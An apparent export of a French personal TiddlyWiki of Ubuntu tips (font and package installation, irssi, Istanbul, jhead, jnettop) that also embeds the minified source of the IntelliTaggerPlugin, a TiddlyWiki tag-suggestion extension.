Voir [[ici|http://www.clavier-dvorak.org/wiki/Vimperator]] et [[là|http://www.clavier-dvorak.org/wiki/Utilisateur:Tiot/vimperatorrc]]

''Pour Windows''
Parce que parfois il n'est pas possible de travailler sur notre bon Gnu/Linux, il existe Portable Keyboard Layout (ne nécessitant pas d'installation) permettant d'utiliser la disposition Dvorak-Bépo sans problème: voir [[ici|http://www.clavier-dvorak.org/wiki/Windows_:_installation_portable]]
Astuce: ''Installer d'un coup 300 Mo de polices''
Mots clef: polices, traitement de texte
Os: Linux
Liens: [[source| http://www.cedynamix.fr/2008/09/11/300-mo-de-polices-sous-ubuntu/ ]]
<<<
Simplement:
{{{ #sudo aptitude install msttcorefonts gsfonts* t1-xfree86-nonfree ttf-alee ttf-ancient-fonts ttf-arabeyes ttf-arhangai ttf-arphic-bkai00mp ttf-arphic-bsmi00lp ttf-arphic-gbsn00lp ttf-arphic-gkai00mp ttf-atarismall ttf-dustin ttf-f500 ttf-isabella ttf-larabie-deco ttf-larabie-straight ttf-larabie-uncommon ttf-staypuft ttf-summersby ttf-ubuntu-title ttf-xfree86-nonfree xfonts* gsfonts-x11 gsfonts ttf-bpg-georgian-fonts ttf-sjfonts ttf-gentium ttf-georgewilliams ttf-georgewilliams sun-java6-fonts}}}

Notes: 
#Voir aussi InstallerPolicesWindows et InstallerPolicesTrueType. 
#Pour visualiser familement les polices GnomeSpecimen.
#une bonne adresse pour récupérer de jolies polices: http://www.fontstock.net (voir "Samuels hand" que j'aime bien) et http://www.dafont.com.
#pour installer la police officielle Ubuntu: PoliceUbuntu
Astuce: ''Permettre de générer une liste des packages installées afin de permettre une réinstallation rapide sur un autre système (vierge)''
Mots clef: système, installation
Os: Ubuntu
Liens: [[source| http://www.arsgeek.com/?p=564 ]]
<<<
Pour le tuto complet, voir la source.

* Création de la liste (sauver dans le fichier ubuntu-files)
{{{
$ dpkg --get-selections | grep -v deinstall > ubuntu-files
}}}
Vous avez maintenant une liste des .deb installées dans un petit fichier que vous pouvez archivez.
* Installation des paquets de fichier ubuntu files sur une autre système
Après vous être assuré que vous tournez sur la même version d'ubuntu que le système précédant:
{{{
$ dpkg --set-selections < ubuntu-files
}}}
puis installons les packets sélectionnés:
{{{
$ sudo dselect
}}}
Ce qui ouvrira une cession dselect. Entrez "I" afin de permettre à dselect d'installer les paquets contenu dans votre fichier ubuntu-files. Une fois terminé entrer "Q" afin de quitter dselect.
<<<
Astuce: ''Installer de nouvelles polices Truetype''
Mots clef: polices, traitement de texte
Os: Linux
<<<
*Pour un utilisateur
{{{
$ cp *.tff /home/nomdelutilisateur/.fonts
}}}
* Pour tous les utilisateurs
{{{
# cp *.ttf /usr/share/fonts/
}}}

Notes: 
#Voir aussi InstallerFlopeeDePolices et InstallerPolicesWindows.
#Pour visualiser familement les polices GnomeSpecimen.
#une bonne adresse pour récupérer de jolies polices: http://www.fontstock.net (voir "Samuels hand" que j'aime bien) et http://www.dafont.com.
#pour installer la police officielle Ubuntu: PoliceUbuntu
Astuce: ''Installer les polices windows''
Mots clef: polices, traitement de texte
Os: Linux
<<<
{{{
# aptitude install msttcorefonts
}}}
Notes: 
#Voir aussi InstallerFlopeeDePolices et InstallerPolicesTrueType. 
#Pour visualiser familement les polices GnomeSpecimen.
#une bonne adresse pour récupérer de jolies polices: http://www.fontstock.net (voir "Samuels hand" que j'aime bien) et http://www.dafont.com.
#pour installer la police officielle Ubuntu: PoliceUbuntu
/***
|''Name:''|IntelliTaggerPlugin|
|''Version:''|1.0.1 (2007-05-18)|
|''Type:''|plugin|
|''Source:''|http://tiddlywiki.abego-software.de/#IntelliTaggerPlugin|
|''Author:''|Udo Borkowski (ub [at] abego-software [dot] de)|
|''Documentation:''|[[IntelliTaggerPlugin Documentation]]|
|''~SourceCode:''|[[IntelliTaggerPlugin SourceCode]]|
|''Licence:''|[[BSD open source license (abego Software)]]|
|''~CoreVersion:''|2.0.8|
|''Browser:''|Firefox 1.5.0.2 or better|
***/
// /%
if(!version.extensions.IntelliTaggerPlugin){
if(!window.abego){
window.abego={};
}
if(!abego.internal){
abego.internal={};
}
abego.alertAndThrow=function(s){
alert(s);
throw s;
};
if(version.major<2){
abego.alertAndThrow("Use TiddlyWiki 2.0.8 or better to run the IntelliTagger Plugin.");
}
version.extensions.IntelliTaggerPlugin={major:1,minor:0,revision:1,date:new Date(2007,4,18),type:"plugin",source:"http://tiddlywiki.abego-software.de/#IntelliTaggerPlugin",documentation:"[[IntelliTaggerPlugin Documentation]]",sourcecode:"[[IntelliTaggerPlugin SourceCode]]",author:"Udo Borkowski (ub [at] abego-software [dot] de)",licence:"[[BSD open source license (abego Software)]]",tiddlywiki:"Version 2.0.8 or better",browser:"Firefox 1.5.0.2 or better"};
abego.createEllipsis=function(_2){
var e=createTiddlyElement(_2,"span");
e.innerHTML="&hellip;";
};
abego.isPopupOpen=function(_4){
return _4&&_4.parentNode==document.body;
};
abego.openAsPopup=function(_5){
if(_5.parentNode!=document.body){
document.body.appendChild(_5);
}
};
abego.closePopup=function(_6){
if(abego.isPopupOpen(_6)){
document.body.removeChild(_6);
}
};
abego.getWindowRect=function(){
return {left:findScrollX(),top:findScrollY(),height:findWindowHeight(),width:findWindowWidth()};
};
abego.moveElement=function(_7,_8,_9){
_7.style.left=_8+"px";
_7.style.top=_9+"px";
};
abego.centerOnWindow=function(_a){
if(_a.style.position!="absolute"){
throw "abego.centerOnWindow: element must have absolute position";
}
var _b=abego.getWindowRect();
abego.moveElement(_a,_b.left+(_b.width-_a.offsetWidth)/2,_b.top+(_b.height-_a.offsetHeight)/2);
};
abego.isDescendantOrSelf=function(_c,e){
while(e){
if(_c==e){
return true;
}
e=e.parentNode;
}
return false;
};
abego.toSet=function(_e){
var _f={};
for(var i=0;i<_e.length;i++){
_f[_e[i]]=true;
}
return _f;
};
abego.filterStrings=function(_11,_12,_13){
var _14=[];
for(var i=0;i<_11.length&&(_13===undefined||_14.length<_13);i++){
var s=_11[i];
if(s.match(_12)){
_14.push(s);
}
}
return _14;
};
abego.arraysAreEqual=function(a,b){
if(!a){
return !b;
}
if(!b){
return false;
}
var n=a.length;
if(n!=b.length){
return false;
}
for(var i=0;i<n;i++){
if(a[i]!=b[i]){
return false;
}
}
return true;
};
abego.moveBelowAndClip=function(_1b,_1c){
if(!_1c){
return;
}
var _1d=findPosX(_1c);
var _1e=findPosY(_1c);
var _1f=_1c.offsetHeight;
var _20=_1d;
var _21=_1e+_1f;
var _22=findWindowWidth();
if(_22<_1b.offsetWidth){
_1b.style.width=(_22-100)+"px";
}
var _23=_1b.offsetWidth;
if(_20+_23>_22){
_20=_22-_23-30;
}
if(_20<0){
_20=0;
}
_1b.style.left=_20+"px";
_1b.style.top=_21+"px";
_1b.style.display="block";
};
abego.compareStrings=function(a,b){
return (a==b)?0:(a<b)?-1:1;
};
abego.sortIgnoreCase=function(arr){
var _27=[];
var n=arr.length;
for(var i=0;i<n;i++){
var s=arr[i];
_27.push([s.toString().toLowerCase(),s]);
}
_27.sort(function(a,b){
return (a[0]==b[0])?0:(a[0]<b[0])?-1:1;
});
for(i=0;i<n;i++){
arr[i]=_27[i][1];
}
};
abego.getTiddlerField=function(_2d,_2e,_2f){
var _30=document.getElementById(_2d.idPrefix+_2e);
var e=null;
if(_30!=null){
var _32=_30.getElementsByTagName("*");
for(var t=0;t<_32.length;t++){
var c=_32[t];
if(c.tagName.toLowerCase()=="input"||c.tagName.toLowerCase()=="textarea"){
if(!e){
e=c;
}
if(c.getAttribute("edit")==_2f){
e=c;
}
}
}
}
return e;
};
abego.setRange=function(_35,_36,end){
if(_35.setSelectionRange){
_35.setSelectionRange(_36,end);
var max=0+_35.scrollHeight;
var len=_35.textLength;
var top=max*_36/len,bot=max*end/len;
_35.scrollTop=Math.min(top,(bot+top-_35.clientHeight)/2);
}else{
if(_35.createTextRange!=undefined){
var _3b=_35.createTextRange();
_3b.collapse();
_3b.moveEnd("character",end);
_3b.moveStart("character",_36);
_3b.select();
}else{
_35.select();
}
}
};
abego.internal.TagManager=function(){
var _3c=null;
var _3d=function(){
if(_3c){
return;
}
_3c={};
store.forEachTiddler(function(_3e,_3f){
for(var i=0;i<_3f.tags.length;i++){
var tag=_3f.tags[i];
var _42=_3c[tag];
if(!_42){
_42=_3c[tag]={count:0,tiddlers:{}};
}
_42.tiddlers[_3f.title]=true;
_42.count+=1;
}
});
};
var _43=TiddlyWiki.prototype.saveTiddler;
TiddlyWiki.prototype.saveTiddler=function(_44,_45,_46,_47,_48,_49){
var _4a=this.fetchTiddler(_44);
var _4b=_4a?_4a.tags:[];
var _4c=(typeof _49=="string")?_49.readBracketedList():_49;
_43.apply(this,arguments);
if(!abego.arraysAreEqual(_4b,_4c)){
abego.internal.getTagManager().reset();
}
};
var _4d=TiddlyWiki.prototype.removeTiddler;
TiddlyWiki.prototype.removeTiddler=function(_4e){
var _4f=this.fetchTiddler(_4e);
var _50=_4f&&_4f.tags.length>0;
_4d.apply(this,arguments);
if(_50){
abego.internal.getTagManager().reset();
}
};
this.reset=function(){
_3c=null;
};
this.getTiddlersWithTag=function(tag){
_3d();
var _52=_3c[tag];
return _52?_52.tiddlers:null;
};
this.getAllTags=function(_53){
_3d();
var _54=[];
for(var i in _3c){
_54.push(i);
}
for(i=0;_53&&i<_53.length;i++){
_54.pushUnique(_53[i],true);
}
abego.sortIgnoreCase(_54);
return _54;
};
this.getTagInfos=function(){
_3d();
var _56=[];
for(var _57 in _3c){
_56.push([_57,_3c[_57]]);
}
return _56;
};
var _58=function(a,b){
var a1=a[1];
var b1=b[1];
var d=b[1].count-a[1].count;
return d!=0?d:abego.compareStrings(a[0].toLowerCase(),b[0].toLowerCase());
};
this.getSortedTagInfos=function(){
_3d();
var _5e=this.getTagInfos();
_5e.sort(_58);
return _5e;
};
this.getPartnerRankedTags=function(_5f){
var _60={};
for(var i=0;i<_5f.length;i++){
var _62=this.getTiddlersWithTag(_5f[i]);
for(var _63 in _62){
var _64=store.getTiddler(_63);
if(!(_64 instanceof Tiddler)){
continue;
}
for(var j=0;j<_64.tags.length;j++){
var tag=_64.tags[j];
var c=_60[tag];
_60[tag]=c?c+1:1;
}
}
}
var _68=abego.toSet(_5f);
var _69=[];
for(var n in _60){
if(!_68[n]){
_69.push(n);
}
}
_69.sort(function(a,b){
var d=_60[b]-_60[a];
return d!=0?d:abego.compareStrings(a.toLowerCase(),b.toLowerCase());
});
return _69;
};
};
abego.internal.getTagManager=function(){
if(!abego.internal.gTagManager){
abego.internal.gTagManager=new abego.internal.TagManager();
}
return abego.internal.gTagManager;
};
(function(){
var _6e=2;
var _6f=1;
var _70=30;
var _71;
var _72;
var _73;
var _74;
var _75;
var _76;
if(!abego.IntelliTagger){
abego.IntelliTagger={};
}
var _77=function(){
return _72;
};
var _78=function(tag){
return _75[tag];
};
var _7a=function(s){
var i=s.lastIndexOf(" ");
return (i>=0)?s.substr(0,i):"";
};
var _7d=function(_7e){
var s=_7e.value;
var len=s.length;
return (len>0&&s[len-1]!=" ");
};
var _81=function(_82){
var s=_82.value;
var len=s.length;
if(len>0&&s[len-1]!=" "){
_82.value+=" ";
}
};
var _85=function(tag,_87,_88){
if(_7d(_87)){
_87.value=_7a(_87.value);
}
story.setTiddlerTag(_88.title,tag,0);
_81(_87);
abego.IntelliTagger.assistTagging(_87,_88);
};
var _89=function(n){
if(_76){
if(_76.length>n){
return _76[n];
}
n-=_76.length;
}
return (_74&&_74.length>n)?_74[n]:null;
};
var _8b=function(n,_8d,_8e){
var _8f=_89(n);
if(_8f){
_85(_8f,_8d,_8e);
}
};
var _90=function(_91){
var pos=_91.value.lastIndexOf(" ");
var _93=(pos>=0)?_91.value.substr(++pos,_91.value.length):_91.value;
return new RegExp(_93.escapeRegExp(),"i");
};
var _94=function(_95,_96){
var _97=0;
for(var i=0;i<_95.length;i++){
if(_96[_95[i]]){
_97++;
}
}
return _97;
};
var _99=function(_9a,_9b,_9c){
var _9d=1;
var c=_9a[_9b];
for(var i=_9b+1;i<_9a.length;i++){
if(_9a[i][1].count==c){
if(_9a[i][0].match(_9c)){
_9d++;
}
}else{
break;
}
}
return _9d;
};
var _a0=function(_a1,_a2){
var _a3=abego.internal.getTagManager().getSortedTagInfos();
var _a4=[];
var _a5=0;
for(var i=0;i<_a3.length;i++){
var c=_a3[i][1].count;
if(c!=_a5){
if(_a2&&(_a4.length+_99(_a3,i,_a1)>_a2)){
break;
}
_a5=c;
}
if(c==1){
break;
}
var s=_a3[i][0];
if(s.match(_a1)){
_a4.push(s);
}
}
return _a4;
};
var _a9=function(_aa,_ab){
return abego.filterStrings(abego.internal.getTagManager().getAllTags(_ab),_aa);
};
var _ac=function(){
if(!_71){
return;
}
var _ad=store.getTiddlerText("IntelliTaggerMainTemplate");
if(!_ad){
_ad="<b>Tiddler IntelliTaggerMainTemplate not found</b>";
}
_71.innerHTML=_ad;
applyHtmlMacros(_71,null);
refreshElements(_71,null);
};
var _ae=function(e){
if(!e){
var e=window.event;
}
var tag=this.getAttribute("tag");
if(_73){
_73.call(this,tag,e);
}
return false;
};
var _b2=function(_b3){
createTiddlyElement(_b3,"span",null,"tagSeparator"," | ");
};
var _b4=function(_b5,_b6,_b7,_b8,_b9){
if(!_b6){
return;
}
var _ba=_b8?abego.toSet(_b8):{};
var n=_b6.length;
var c=0;
for(var i=0;i<n;i++){
var tag=_b6[i];
if(_ba[tag]){
continue;
}
if(c>0){
_b2(_b5);
}
if(_b9&&c>=_b9){
abego.createEllipsis(_b5);
break;
}
c++;
var _bf="";
var _c0=_b5;
if(_b7<10){
_c0=createTiddlyElement(_b5,"span",null,"numberedSuggestion");
_b7++;
var key=_b7<10?""+(_b7):"0";
createTiddlyElement(_c0,"span",null,"suggestionNumber",key+") ");
var _c2=_b7==1?"Ctrl-Space or ":"";
_bf=" (Shortcut: %1Alt-%0)".format([key,_c2]);
}
var _c3=config.views.wikified.tag.tooltip.format([tag]);
var _c4=(_78(tag)?"Remove tag '%0'%1":"Add tag '%0'%1").format([tag,_bf]);
var _c5="%0; Shift-Click: %1".format([_c4,_c3]);
var btn=createTiddlyButton(_c0,tag,_c5,_ae,_78(tag)?"currentTag":null);
btn.setAttribute("tag",tag);
}
};
var _c7=function(){
if(_71){
window.scrollTo(0,ensureVisible(_71));
}
if(_77()){
window.scrollTo(0,ensureVisible(_77()));
}
};
var _c8=function(e){
if(!e){
var e=window.event;
}
if(!_71){
return;
}
var _cb=resolveTarget(e);
if(_cb==_77()){
return;
}
if(abego.isDescendantOrSelf(_71,_cb)){
return;
}
abego.IntelliTagger.close();
};
addEvent(document,"click",_c8);
var _cc=Story.prototype.gatherSaveFields;
Story.prototype.gatherSaveFields=function(e,_ce){
_cc.apply(this,arguments);
var _cf=_ce.tags;
if(_cf){
_ce.tags=_cf.trim();
}
};
var _d0=function(_d1){
story.focusTiddler(_d1,"tags");
var _d2=abego.getTiddlerField(story,_d1,"tags");
if(_d2){
var len=_d2.value.length;
abego.setRange(_d2,len,len);
window.scrollTo(0,ensureVisible(_d2));
}
};
var _d4=config.macros.edit.handler;
config.macros.edit.handler=function(_d5,_d6,_d7,_d8,_d9,_da){
_d4.apply(this,arguments);
var _db=_d7[0];
if((_da instanceof Tiddler)&&_db=="tags"){
var _dc=_d5.lastChild;
_dc.onfocus=function(e){
abego.IntelliTagger.assistTagging(_dc,_da);
setTimeout(function(){
_d0(_da.title);
},100);
};
_dc.onkeyup=function(e){
if(!e){
var e=window.event;
}
if(e.altKey&&!e.ctrlKey&&!e.metaKey&&(e.keyCode>=48&&e.keyCode<=57)){
_8b(e.keyCode==48?9:e.keyCode-49,_dc,_da);
}else{
if(e.ctrlKey&&e.keyCode==32){
_8b(0,_dc,_da);
}
}
setTimeout(function(){
abego.IntelliTagger.assistTagging(_dc,_da);
},100);
return false;
};
_81(_dc);
}
};
var _e0=function(e){
if(!e){
var e=window.event;
}
var _e3=resolveTarget(e);
var _e4=_e3.getAttribute("tiddler");
if(_e4){
story.displayTiddler(_e3,_e4,"IntelliTaggerEditTagsTemplate",false);
_d0(_e4);
}
return false;
};
var _e5=config.macros.tags.handler;
config.macros.tags.handler=function(_e6,_e7,_e8,_e9,_ea,_eb){
_e5.apply(this,arguments);
abego.IntelliTagger.createEditTagsButton(_eb,createTiddlyElement(_e6.lastChild,"li"));
};
var _ec=function(){
if(_71&&_72&&!abego.isDescendantOrSelf(document,_72)){
abego.IntelliTagger.close();
}
};
setInterval(_ec,100);
abego.IntelliTagger.displayTagSuggestions=function(_ed,_ee,_ef,_f0,_f1){
_74=_ed;
_75=abego.toSet(_ee);
_76=_ef;
_72=_f0;
_73=_f1;
if(!_71){
_71=createTiddlyElement(document.body,"div",null,"intelliTaggerSuggestions");
_71.style.position="absolute";
}
_ac();
abego.openAsPopup(_71);
if(_77()){
var w=_77().offsetWidth;
if(_71.offsetWidth<w){
_71.style.width=(w-2*(_6e+_6f))+"px";
}
abego.moveBelowAndClip(_71,_77());
}else{
abego.centerOnWindow(_71);
}
_c7();
};
abego.IntelliTagger.assistTagging=function(_f3,_f4){
var _f5=_90(_f3);
var s=_f3.value;
if(_7d(_f3)){
s=_7a(s);
}
var _f7=s.readBracketedList();
var _f8=_f7.length>0?abego.filterStrings(abego.internal.getTagManager().getPartnerRankedTags(_f7),_f5,_70):_a0(_f5,_70);
abego.IntelliTagger.displayTagSuggestions(_a9(_f5,_f7),_f7,_f8,_f3,function(tag,e){
if(e.shiftKey){
onClickTag.call(this,e);
}else{
_85(tag,_f3,_f4);
}
});
};
abego.IntelliTagger.close=function(){
abego.closePopup(_71);
_71=null;
return false;
};
abego.IntelliTagger.createEditTagsButton=function(_fb,_fc,_fd,_fe,_ff,id,_101){
if(!_fd){
_fd="[edit]";
}
if(!_fe){
_fe="Edit the tags";
}
if(!_ff){
_ff="editTags";
}
var _102=createTiddlyButton(_fc,_fd,_fe,_e0,_ff,id,_101);
_102.setAttribute("tiddler",(_fb instanceof Tiddler)?_fb.title:String(_fb));
return _102;
};
abego.IntelliTagger.getSuggestionTagsMaxCount=function(){
return 100;
};
config.macros.intelliTagger={label:"intelliTagger",handler:function(_103,_104,_105,_106,_107,_108){
var _109=_107.parseParams("list",null,true);
var _10a=_109[0]["action"];
for(var i=0;_10a&&i<_10a.length;i++){
var _10c=_10a[i];
var _10d=config.macros.intelliTagger.subhandlers[_10c];
if(!_10d){
abego.alertAndThrow("Unsupported action '%0'".format([_10c]));
}
_10d(_103,_104,_105,_106,_107,_108);
}
},subhandlers:{showTags:function(_10e,_10f,_110,_111,_112,_113){
_b4(_10e,_74,_76?_76.length:0,_76,abego.IntelliTagger.getSuggestionTagsMaxCount());
},showFavorites:function(_114,_115,_116,_117,_118,_119){
_b4(_114,_76,0);
},closeButton:function(_11a,_11b,_11c,_11d,_11e,_11f){
var _120=createTiddlyButton(_11a,"close","Close the suggestions",abego.IntelliTagger.close);
},version:function(_121){
var t="IntelliTagger %0.%1.%2".format([version.extensions.IntelliTaggerPlugin.major,version.extensions.IntelliTaggerPlugin.minor,version.extensions.IntelliTaggerPlugin.revision]);
var e=createTiddlyElement(_121,"a");
e.setAttribute("href","http://tiddlywiki.abego-software.de/#IntelliTaggerPlugin");
e.innerHTML="<font color=\"black\" face=\"Arial, Helvetica, sans-serif\">"+t+"<font>";
},copyright:function(_124){
var e=createTiddlyElement(_124,"a");
e.setAttribute("href","http://tiddlywiki.abego-software.de");
e.innerHTML="<font color=\"black\" face=\"Arial, Helvetica, sans-serif\">&copy; 2006-2007 <b><font color=\"red\">abego</font></b> Software<font>";
}}};
})();
config.shadowTiddlers["IntelliTaggerStyleSheet"]="/***\n"+"!~IntelliTagger Stylesheet\n"+"***/\n"+"/*{{{*/\n"+".intelliTaggerSuggestions {\n"+"\tposition: absolute;\n"+"\twidth: 600px;\n"+"\n"+"\tpadding: 2px;\n"+"\tlist-style: none;\n"+"\tmargin: 0;\n"+"\n"+"\tbackground: #eeeeee;\n"+"\tborder: 1px solid DarkGray;\n"+"}\n"+"\n"+".intelliTaggerSuggestions .currentTag   {\n"+"\tfont-weight: bold;\n"+"}\n"+"\n"+".intelliTaggerSuggestions .suggestionNumber {\n"+"\tcolor: #808080;\n"+"}\n"+"\n"+".intelliTaggerSuggestions .numberedSuggestion{\n"+"\twhite-space: nowrap;\n"+"}\n"+"\n"+".intelliTaggerSuggestions .intelliTaggerFooter {\n"+"\tmargin-top: 4px;\n"+"\tborder-top-width: thin;\n"+"\tborder-top-style: solid;\n"+"\tborder-top-color: #999999;\n"+"}\n"+".intelliTaggerSuggestions .favorites {\n"+"\tborder-bottom-width: thin;\n"+"\tborder-bottom-style: solid;\n"+"\tborder-bottom-color: #999999;\n"+"\tpadding-bottom: 2px;\n"+"}\n"+"\n"+".intelliTaggerSuggestions .normalTags {\n"+"\tpadding-top: 2px;\n"+"}\n"+"\n"+".intelliTaggerSuggestions .intelliTaggerFooter .button {\n"+"\tfont-size: 10px;\n"+"\n"+"\tpadding-left: 0.3em;\n"+"\tpadding-right: 0.3em;\n"+"}\n"+"\n"+"/*}}}*/\n";
config.shadowTiddlers["IntelliTaggerMainTemplate"]="<!--\n"+"{{{\n"+"-->\n"+"<div class=\"favorites\" macro=\"intelliTagger action: showFavorites\"></div>\n"+"<div class=\"normalTags\" macro=\"intelliTagger action: showTags\"></div>\n"+"<!-- The Footer (with the Navigation) ============================================ -->\n"+"<table class=\"intelliTaggerFooter\" border=\"0\" width=\"100%\" cellspacing=\"0\" cellpadding=\"0\"><tbody>\n"+"  <tr>\n"+"\t<td align=\"left\">\n"+"\t\t<span macro=\"intelliTagger action: closeButton\"></span>\n"+"\t</td>\n"+"\t<td align=\"right\">\n"+"\t\t<span macro=\"intelliTagger action: version\"></span>, <span macro=\"intelliTagger action: copyright \"></span>\n"+"\t</td>\n"+"  </tr>\n"+"</tbody></table>\n"+"<!--\n"+"}}}\n"+"-->\n";
config.shadowTiddlers["IntelliTaggerEditTagsTemplate"]="<!--\n"+"{{{\n"+"-->\n"+"<div class='toolbar' macro='toolbar +saveTiddler -cancelTiddler'></div>\n"+"<div class='title' macro='view title'></div>\n"+"<div class='tagged' macro='tags'></div>\n"+"<div class='viewer' macro='view text wikified'></div>\n"+"<div class='toolbar' macro='toolbar +saveTiddler -cancelTiddler'></div>\n"+"<div class='editor' macro='edit tags'></div><div class='editorFooter'><span macro='message views.editor.tagPrompt'></span><span macro='tagChooser'></span></div>\n"+"<!--\n"+"}}}\n"+"-->\n";
config.shadowTiddlers["IntelliTaggerPlugin Documentation"]="[[Documentation on abego Software website|http://tiddlywiki.abego-software.de/doc/IntelliTagger.pdf]].";
config.shadowTiddlers["IntelliTaggerPlugin SourceCode"]="[[Plugin source code on abego Software website|http://tiddlywiki.abego-software.de/archive/IntelliTaggerPlugin/Plugin-IntelliTagger-src.1.0.1.js]]\n";
(function(){
var _126=restart;
restart=function(){
setStylesheet(store.getTiddlerText("IntelliTaggerStyleSheet"),"IntelliTaggerStyleSheet");
_126.apply(this,arguments);
};
})();
}

//%/
''Nom de l'application'': ''@@color(red): Irssi @@''
Mots clef: chat, irc
Liens: [[source| http://totalement.geek.oupas.fr/article/2007/07/20/irssi-un-client-irssi-en-mode-texte ]]
<<<
''Description: ''Client IRC en ligne de commande

''Installation: ''{{{# aptitude install irssi}}}

''Utilisation: ''(directement de [[totalement.geek.oupas.fr|http://totalement.geek.oupas.fr/article/2007/07/20/irssi-un-client-irssi-en-mode-texte]])

''Premier lancement''
Tapez irssi dans une console et vous aurez un magnifique client IRC qui se lancera. Par défaut, il ne se connecte pas, il faut le configurer. Pour cela, il faut suivre quelques étapes. Sachez qu'en tapant /help et plus précisément /help une_commande, irssi vous affiche de l'aide.

''Ajout d'un réseau''
Tout d'abord, nous allons créer un réseau à l'aide de la commande {{{/network add}}}.
{{{/network add -nick MonNick -user mon_user -realname "Mon vrai nom" -autosendcmd "/^msg nickserv identify mon_super_password" Freenode}}}
*//-nick/-user/-realname// permet de spécifier le pseudo et le user que vous souhaitez utiliser sur ce réseau, par défaut, c'est le nom de votre compte Ubuntu pour -nick et //-user// et le nom complet de votre compte. Pensez à mettre des guillemets si vous souhaitez utiliser un //-realname// avec des espaces 
*//-autosendcmd// permet d'indiquer une ou plusieurs commandes (séparées par des point-virgules) qui seront automatiquement exécutées une fois le client connecté à un serveur de ce réseau. L'accent circonflexe de /^msg permet d'exécuter cette commande en arrière plan sans l'afficher à l'écran (ainsi que la réponse qu'elle peut engendrer). Par exemple, si vous vous en servez pour vous connecter à NickServ, vous n'avez pas forcément besoin d'avoir une console d'ouverte pour ce message et la réponse de NickServ ;
enfin, on termine avec le nom du réseau.
Il existe d'autres options de configuration qui vous sont détaillées en tapant {{{/help network}}} dans irssi

''Ajout de serveur(s)''
Une fois le réseau créé, il faut lui ajouter des serveurs, grâce à {{{/server add}}}
{{{/server add -auto -network Freenode irc.freenode.net}}}
*//-auto// indique que ce serveur va se connecter automatiquement au lancement d'irssi ;
*//-network// spécifie à quel réseau on attache ce serveur (par conséquent, quand ce serveur se connectera, les commandes indiquées dans //-autosendcmd// lors du ///network// add seront exécutées)
Enfin, on termine avec l'adresse du serveur et éventuellement son port s'il n'est pas sur le port par défaut (6667).
Il existe d'autres options de configuration qui vous sont détaillées en tapant ///help server// dans irssi.
Vous pouvez répéter cette commande autant de fois que vous avez de serveurs sur ce réseau. Irssi se connectera automatiquement à un autre serveur du réseau si celui sur lequel vous êtes connectés ne répond plus.

''Ajout de channel(s)''
Maintenant que nous avons notre réseau et ses serveurs d'enregistrés dans la configuration d'irssi, il nous faut nous connecter à un channel pour discuter.
Vous pouvez bien entendu rejoindre un channel en tapant {{{/join #nom_du_chan}}}. Mais si vous avez vos habitudes et que vous souhaitez rejoindre automatiquement un ou plusieurs channels à la connexion, il nous faut utiliser ///channel add//.
{{{/channel add -auto #ubuntu-fr Freenode}}}
*//-auto// indique que ce channel sera rejoint automatiquement une fois un serveur du réseau connecté ;
Ensuite, on indique le nom du channel. Enfin, on termine avec le nom du réseau sur lequel ce channel existe.
Il existe d'autres options de configuration qui vous sont détaillées en tapant ///help channel// dans irssi.Vous pouvez répéter cette commande autant de fois que vous avez de channel à ajouter ce réseau.

''Quelques commandes utiles''
Pour rejoindre un channel:
{{{/join #channel}}}
Pour quitter un channel (dans la console du chan que vous voulez quitter):
{{{/part}}}
Pour changer son pseudo:
{{{/nick}}}
Pour avoir la liste des connectés d'un channel (dans la console du chan où vous voulez avoir la liste):
{{{/names}}}
Pour envoyer un message privé à une personne:
{{{/query un_nick un super message}}}}
Pour changer de console:
{{{[Echap] + le numéro de la console}}}
Pour fermer une console:
{{{/win close}}}
Pour quitter irssi:
{{{/quit}}}

''Notes: ''voir aussi XChat pour un client graphique.
''Nom de l'application'': ''@@color(red): Istanbul @@''
Mots clef: vidéo, capture d'écran, screencast
Liens: [[site officiel|http://live.gnome.org/Istanbul]]
<<<
''Description: ''Istanbul permet de faire des captures d'écran (3d compris) sous forme de vidéo en format mpeg.

''Installation: ''{{{# aptitude install  istanbul}}}

''Notes: ''Utilisation
Après avoir lancer le programme, simplement appuyer sur le bouton rouge apparu dans la zone de notification.
En faisant un clic droit sur ce même bouton, on peut choisir certaines options.
A la fin, ne pas oublier d'ajouter l'extension .mpeg au fichier.
Voir aussi: ByZanz (enregistrer en format .gif animé), GtkRecordMyDesktop (enregistrer en format .ogg),XvidCap (enregistrer en format .avi)  et encore VlcScreenCast bien sympa.
''Nom de l'application'': ''@@color(red): Jhead @@''
Mots clef: Manipulation d'image jpg, photographie
<<<
''Description: ''Jhead est un utilitaire en ligne de commande permettant d'afficher et de manipuler les informations Exif inscrites par les appareils photo numériques dans les fichiers jpg. Il permet, par exemple, de tourner automatiquement toutes les images qui ont été prises verticalement.

''Installation: ''{{{apt-get install jhead}}}

''Notes: ''Voici quelques-unes des options (pour le reste, voir {{{$ man jhead}}})
*{{{-autorot}}} Utilise le tag //orientation// des champs Exif afin d'automatiquement tourner l'image "dans le bon sens"
*{{{-norot}}} Efface le champ //orientation// de l'info Exif (pour éviter que ces logiciels de tourne des images déjà dans le bon sens)
*{{{-purejpg}}} Efface tous les champs qui ne sont pas absolument indispensable à l'affichage de l'image jpg.
<<<
''Nom de l'application'': ''@@color(red): Juploadr @@''
Mots clef: internet, photos, flickr
Liens: [[site officiel| http://sourceforge.net/projects/juploadr ]]
<<<
''Description: ''Juploadr est un programme java très fonctionnel permettant d'uploader facilement ses photos sur un compte flickr.

''Installation: ''Télécharger l'archive sur le site officiel, décompresser, lancer le script juploadr

''Notes: ''Voir aussi KFlickr.
Astuce: ''Accéder facilement à la musique libre du site Jamendo''
Mots clef: musique
Os: Linux
Liens: [[Jamendo| http://www.jamendo.com/ ]], [[Rhythmbox|http://www.gnome.org/projects/rhythmbox/]]
<<<
[[Jamendo| http://www.jamendo.com/ ]] est un portail proposant de la musique libre. Bien que l'on puisse tout écouter via le site, il peut être agréable d'accéder à cettemusique via un lecteur externe C'est ce que permet Rhythmbox depuis la version 0.9.8 avec le plugin Jamendo. Bien que Rhythmbox soit développé pour gnome, AmaroK devrait bientôt offrir le même service, mais pour l'instant seul un script permettant d'obtenir les paroles des chansons est disponible. 
Voir aussi EcouterJamendoMusiqueLibre
''Nom de l'application'': ''@@color(red): Jnettop @@''
Mots clef: réseau, download
Liens: [[wiki| http://jnettop.kubs.info/wiki/ ]]
<<<
''Description: '' Jnettop, comme IfTOP mais en moins bien, permet d'afficher en console la bande passante utilisée avec un détail par les différents processus (combien pour le mail, le navigateur, le client ftp etc).

''Installation: ''{{{apt-get install jnettop}}}

''Notes: ''Il existe également un jnettop-gui
Astuce: ''Fusionner plusieurs fichiers en un seul''
Mots clef: 
Os: Linux
<<<
